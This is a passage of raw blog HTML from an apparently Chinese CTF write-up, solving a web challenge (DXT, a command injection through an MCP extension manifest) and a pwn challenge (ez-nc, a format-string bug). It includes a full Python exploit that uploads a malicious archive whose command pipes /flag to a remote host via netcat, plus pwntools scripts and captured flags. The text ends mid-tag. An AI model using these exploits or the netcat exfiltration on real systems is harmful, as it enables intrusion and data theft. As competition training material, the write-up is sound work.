src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"106\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-299-1024x106.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3310\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{2b435b4e-a52e-4e39-badf-72dcbce09dab}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">DXT<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-300.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"845\" height=\"434\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-300.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3311\"  sizes=\"auto, (max-width: 845px) 100vw, 845px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-301-1024x580.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"580\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-301-1024x580.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3312\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-302-1024x628.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"628\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-302-1024x628.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3313\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5ba1\u524d\u7aef\u6e90\u7801\u53d1\u73b0\uff0c\u70b9\u51fb Start \u4f1a\u5411\u540e\u7aef\u53d1\u9001 POST \/api\/servers\/{id}\/start \u8bf7\u6c42\u3002\n\u7ed3\u5408 MCP \u534f\u8bae\u7279\u70b9\uff0c\u540e\u7aef\u903b\u8f91\u662f\uff1a\u63a5\u6536 .dxt\uff08\u5b9e\u4e3a ZIP \u5305\uff09 -&gt; \u89e3\u538b\u8bfb\u53d6 manifest.json -&gt; \u6839\u636e\u914d\u7f6e\u62c9\u8d77\u670d\u52a1\u8fdb\u7a0b\u3002\n\u7531\u4e8e\u540e\u7aef\u672a\u5bf9 manifest.json \u4e2d\u7684\u542f\u52a8\u547d\u4ee4\uff08mcp_config\uff09\u505a\u4e25\u683c\u7684\u8fc7\u6ee4\u6821\u9a8c\uff0c\u76f4\u63a5\u5c06\u5176\u6295\u5165\u7cfb\u7edf\u8fdb\u7a0b\u6267\u884c\uff0c\u5bfc\u81f4\u5b58\u5728\u4efb\u610f\u547d\u4ee4\u6267\u884c (RCE) \u6f0f\u6d1e\u3002\u65e0\u524d\u7aef\u56de\u663e\uff0c\u9700\u901a\u8fc7\u5916\u5e26 (OOB) \u83b7\u53d6 flag\u3002<\/code><\/pre>\n\n\n\n<p>\u6784\u9020\u4e0e\u7ed5\u8fc7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u683c\u5f0f\u6821\u9a8c\u7ed5\u8fc7\uff1a\u540e\u7aef\u5f3a\u6821\u9a8c dxt_version \u548c author.email\uff0c\u7f3a\u4e00\u4e0d\u53ef\uff0c\u5426\u5219\u62a5 400\u3002\n\n\u6267\u884c\u73af\u5883\u9003\u9038\uff1aserver.type \u7edd\u5bf9\u4e0d\u80fd\u5199\u9ed8\u8ba4\u6216 node\uff0c\u5426\u5219\u540e\u7aef\u4f1a\u5f3a\u5236\u7528 \/bin\/node \u53bb\u8dd1\u3002\u5fc5\u987b\u8bbe\u4e3a binary\uff0c\u540c\u65f6\u968f\u4fbf\u7ed9\u4e2a\u6587\u4ef6\uff08\u5982 server\/dummy\uff09\u4f5c\u4e3a entry_point \u5360\u4f4d\uff0c\u4ece\u800c\u8feb\u4f7f\u540e\u7aef\u4e56\u4e56\u6267\u884c\u6211\u4eec\u5728 mcp_config \u91cc\u5199\u7684 sh -c\u3002<\/code><\/pre>\n\n\n\n<p>\u590d\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u653b\u51fb\u673a\uff0881.70.244.177\uff09\u5f00\u542f\u76d1\u542c\uff1anc -lvnp 40000\nexp.py\u811a\u672c\uff0c\u81ea\u52a8\u6784\u9020\u6076\u610f dxt \u538b\u7f29\u5305\u5e76\u4e0a\u4f20\u3002\n\u811a\u672c\u89e6\u53d1 start \u63a5\u53e3\uff0c\u9776\u673a\u6267\u884c\u53cd\u5f39shell\u547d\u4ee4\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport zipfile\nimport io\nimport json\nimport time\nimport sys\n\nTARGET_URL = \"http:\/\/8080-0f952391-d519-4806-ad11-b7a4ce2c9003.challenge.ctfplus.cn\"\nMY_IP = \"81.70.244.177\"\nMY_PORT = \"40000\"\n\ndef build_payload():\n    buf = io.BytesIO()\n    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n        manifest = {\n            \"manifest_version\": \"0.3\",\n            \"dxt_version\": \"1.0\",\n            \"name\": \"exp\",\n            \"display_name\": \"exp\",\n            \"version\": \"1.0.0\",\n            \"description\": \"pwn\",\n            \"author\": {\"name\": \"a\", \"email\": \"a@a.com\"},\n            \"server\": {\n                \"type\": \"binary\",\n                \"entry_point\": \"server\/dummy\",\n                \"mcp_config\": {\n                    \"command\": \"sh\",\n                    \"args\": &#91;\n                        \"-c\",\n                        f\"(cat \/flag 2&gt;\/dev\/null || cat \/flag.txt 2&gt;\/dev\/null) | nc -w 5 {MY_IP} {MY_PORT}\"\n                    ]\n                }\n            },\n            \"tools\": &#91;]\n        }\n        zf.writestr(\"manifest.json\", json.dumps(manifest))\n        zf.writestr(\"server\/dummy\", \"n\")\n    buf.seek(0)\n    return buf\n\ndef main():\n    url = TARGET_URL.rstrip('\/')\n    payload = build_payload()\n\n    try:\n        res = requests.post(f\"{url}\/api\/upload\", files={'file': ('a.dxt', payload, 'application\/octet-stream')})\n        if res.status_code != 200:\n            sys.exit(1)\n    except Exception:\n        sys.exit(1)\n\n    time.sleep(1)\n    res = requests.get(f\"{url}\/api\/servers\")\n    servers = res.json().get('servers', &#91;])\n    if not servers:\n        sys.exit(1)\n\n    server_id = servers&#91;-1]&#91;'id']\n    requests.post(f\"{url}\/api\/servers\/{server_id}\/start\")\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-303.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"779\" height=\"121\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-303.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3314\"  sizes=\"auto, (max-width: 779px) 100vw, 779px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{440776da-3f12-4753-914f-60aa11d8415c}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Pwn<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">ez-nc<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-304.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"404\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-304.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3315\"  sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f4\u63a5\u8fde\u63a5<\/p>\n\n\n\n<p>\u6587\u4ef6\u540d\u5b57\u53ebez-nc \u4f46\u662f\u6709\u9ed1\u540d\u5355<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-305.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"125\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-305.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3316\"  sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/div><\/figure>\n\n\n\n<p>\u540e\u9762\u6d4b\u8bd5 %p<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-306.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"886\" height=\"99\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-306.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3317\"  sizes=\"auto, (max-width: 886px) 100vw, 886px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u6709\u683c\u5f0f\u5316\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u90a3\u6211\u4eec\u5c31\u53ef\u4ee5\u60f3\u628a\u8fd9\u4e2a\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e0b\u8f7d\u4e0b\u6765<\/p>\n\n\n\n<p>\u76f4\u63a5\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u7684\u76f2\u6d4b\uff0c\u811a\u672c\u904d\u5386 <code>%1$s<\/code> \u5230 <code>%100$s<\/code><\/p>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level = 'error'\n\ndef fuzz_offset():\n    host = 'nc1.ctfplus.cn'\n    port = 46875\n\n    for i in range(1, 100):\n        try:\n            io = remote(host, port)\n            io.recvuntil(b\"download: \")\n\n            payload = f\"%{i}$s\".encode()\n            io.sendline(payload)\n\n            resp = io.recv(1024, timeout=1).decode('utf-8', errors='ignore')\n            io.close()\n\n            if \"ELF\" in resp or \"File content:\" in resp:\n                print(f\"&#91;+] Offset: {i}\")\n                break\n\n        except Exception:\n            pass\n\nif __name__ == '__main__':\n    fuzz_offset()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-307.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1005\" height=\"81\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-307.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3318\"  sizes=\"auto, (max-width: 1005px) 100vw, 1005px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-308-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-308-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3319\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5f53\u6d4b\u8bd5\u5230 %45$s \u65f6\uff0c\u670d\u52a1\u5668\u6210\u529f\u8fd4\u56de\u4e86 ELF \u6587\u4ef6\u6570\u636e\uff0c\u8bc1\u660e\u6808\u4e0a\u7b2c 45 \u4e2a\u4f4d\u7f6e\u5b58\u653e\u7684\u6307\u9488\u6070\u597d\u6307\u5411\u4e86\u5185\u5b58\u4e2d\u7684 \"ez-nc\" \u5b57\u7b26\u4e32\uff08\u5373 argv&#91;0]\uff09\u3002<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5199\u811a\u672c\u4e0b\u8f7d\u4e0b\u6765\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level = 'error'\n\ndef download():\n    host = 'nc1.ctfplus.cn'\n    port = 46875\n\n    io = remote(host, port)\n    io.recvuntil(b\"download: \")\n    io.sendline(b\"%45$s\")\n\n    data = io.recvall(timeout=3)\n\n    if b\"ELF\" in data:\n        with open(\"ez-nc\", \"wb\") as f:\n            f.write(data)\n\nif __name__ == '__main__':\n    download()<\/code><\/pre>\n\n\n\n<p>IDA\u9006\u5411<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-309-1024x470.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"470\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-309-1024x470.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3320\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u5c31\u77e5\u9053\u539f\u6765\u7684 \u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7a0b\u5e8f\u5b58\u5728 strstr(s, \"ez-nc\") \u9ed1\u540d\u5355\u68c0\u6d4b\uff0c\u4f46\u968f\u540e\u8c03\u7528\u4e86 snprintf(filename, 0x58u, s)\uff0c\u5c06\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\uff0c\u5bfc\u81f4\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u3002\n\u901a\u8fc7\u8f93\u5165 %45$s\uff08\u6808\u4e0a\u7b2c 45 \u4e2a\u504f\u79fb\u5904\u6b63\u597d\u4e3a argv&#91;0] \u5373\u7a0b\u5e8f\u8fd0\u884c\u540d ez-nc\uff09\uff0c\u53ef\u7ed5\u8fc7\u5b57\u7b26\u4e32\u9ed1\u540d\u5355\u68c0\u6d4b\uff0c\u4f7f filename \u88ab\u683c\u5f0f\u5316\u4e3a ez-nc\uff0c\u4ece\u800c\u89e6\u53d1\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d\u7a0b\u5e8f\u672c\u4f53\u3002<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u5c31\u53d1\u73b0flag \u76f4\u63a5\u786c\u7f16\u7801\u5728 ELF \u6587\u4ef6\u7684 <code>.rodata<\/code> \u6570\u636e\u6bb5\u4e2d<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-310-1024x484.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"484\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-310-1024x484.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3321\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{759fe930-765b-4315-a1ea-1692725e1cb6}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ezheap<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-311-1024x597.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-311-1024x597.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3322\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-312-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-312-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3323\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u73af\u5883\u662f Glibc 2.32+\u5b58\u5728 Safe-Linking \u6307\u9488\u6df7\u6dc6<\/p>\n\n\n\n<p>\u65e0\u6cd5\u76f4\u63a5 <code>execve<\/code> \u62ff shell\uff0c\u9700\u8981\u627e\u540e\u95e8\u6216 ORW\uff09\u3002<\/p>\n\n\n\n<p>UAF<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u83dc\u5355 &#91;6] Complete batch inference \u91ca\u653e Tensor \u65f6\uff0c\u6ca1\u6709\u6e05\u7a7a\u6307\u9488\uff0c\u5bfc\u81f4 UAF\u3002\n\u83dc\u5355 &#91;7] Patch session metadata \u5141\u8bb8\u4fee\u6539\u5df2\u88ab\u91ca\u653e\u7684\u5806\u5757\uff0c\u4f46\u7a0b\u5e8f\u5728\u6b64\u5904\u505a\u4e86\u5f3a\u9650\u5236\uff1a\u53ea\u5141\u8bb8 qword_index=0\uff08\u5373\u53ea\u80fd\u8986\u76d6 Tcache \u7684 fd \u6307\u9488\uff09\uff0c\u65e0\u6cd5\u76f4\u63a5\u8d8a\u754c\u5199\u5176\u4ed6\u5b57\u6bb5\u3002<\/code><\/pre>\n\n\n\n<p>\u4fe1\u606f\u6cc4\u9732<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-313-1024x459.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"459\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-313-1024x459.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3324\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>sub_6750<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-314-1024x421.png'><img class=\"lazyload lazyload-style-1\" 